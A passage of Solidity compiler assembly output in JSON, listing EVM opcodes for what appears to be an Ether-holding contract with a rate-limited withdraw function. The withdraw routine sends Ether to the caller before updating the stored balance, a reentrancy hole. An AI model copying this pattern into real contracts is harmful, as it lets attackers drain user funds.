"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "13" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH [tag]", | |
"value": "14" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "AND" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH [tag]", | |
"value": "15" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "tag", | |
"value": "14" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "tag", | |
"value": "5" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "16" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "16" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "POP" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH [tag]", | |
"value": "17" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH [tag]", | |
"value": "18" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "tag", | |
"value": "17" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "POP" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "POP" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "tag", | |
"value": "6" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "PUSH [tag]", | |
"value": "19" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "PUSH [tag]", | |
"value": "20" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "tag", | |
"value": "19" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "tag", | |
"value": "9" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "tag", | |
"value": "12" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 396, | |
"end": 410, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 372, | |
"end": 380, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 381, | |
"end": 391, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "AND" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "AND" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 372, | |
"end": 410, | |
"name": "LT" | |
}, | |
{ | |
"begin": 372, | |
"end": 410, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "PUSH [tag]", | |
"value": "22" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "tag", | |
"value": "22" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 479, | |
"end": 494, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 479, | |
"end": 494, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 461, | |
"end": 475, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 461, | |
"end": 494, | |
"name": "GT" | |
}, | |
{ | |
"begin": 461, | |
"end": 494, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "PUSH [tag]", | |
"value": "23" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "tag", | |
"value": "23" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 597, | |
"end": 604, | |
"name": "PUSH", | |
"value": "93A80" | |
}, | |
{ | |
"begin": 566, | |
"end": 582, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 583, | |
"end": 593, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "AND" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "AND" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 566, | |
"end": 604, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 559, | |
"end": 562, | |
"name": "TIMESTAMP" | |
}, | |
{ | |
"begin": 559, | |
"end": 604, | |
"name": "LT" | |
}, | |
{ | |
"begin": 559, | |
"end": 604, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "PUSH [tag]", | |
"value": "24" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "tag", | |
"value": "24" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 623, | |
"end": 633, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 623, | |
"end": 638, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 623, | |
"end": 638, | |
"name": "AND" | |
}, | |
{ | |
"begin": 645, | |
"end": 659, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "DUP6" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "DUP8" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "GAS" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "CALL" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "POP" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "POP" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "POP" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "PUSH [tag]", | |
"value": "25" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "tag", | |
"value": "25" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 697, | |
"end": 711, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 673, | |
"end": 681, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 682, | |
"end": 692, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "AND" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "AND" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "POP" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "POP" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "POP" | |
}, | |
{ | |
"begin": 752, | |
"end": 755, | |
"name": "TIMESTAMP" | |
}, | |
{ | |
"begin": 721, | |
"end": 737, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 738, | |
"end": 748, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "AND" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "AND" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 721, | |
"end": 755, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 721, | |
"end": 755, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 721, | |
"end": 755, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 721, | |
"end": 755, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "tag", | |
"value": "15" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "tag", | |
"value": "18" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "tag", | |
"value": "20" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 277, | |
"end": 286, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 253, | |
"end": 261, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 262, | |
"end": 272, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "AND" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "AND" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 253, | |
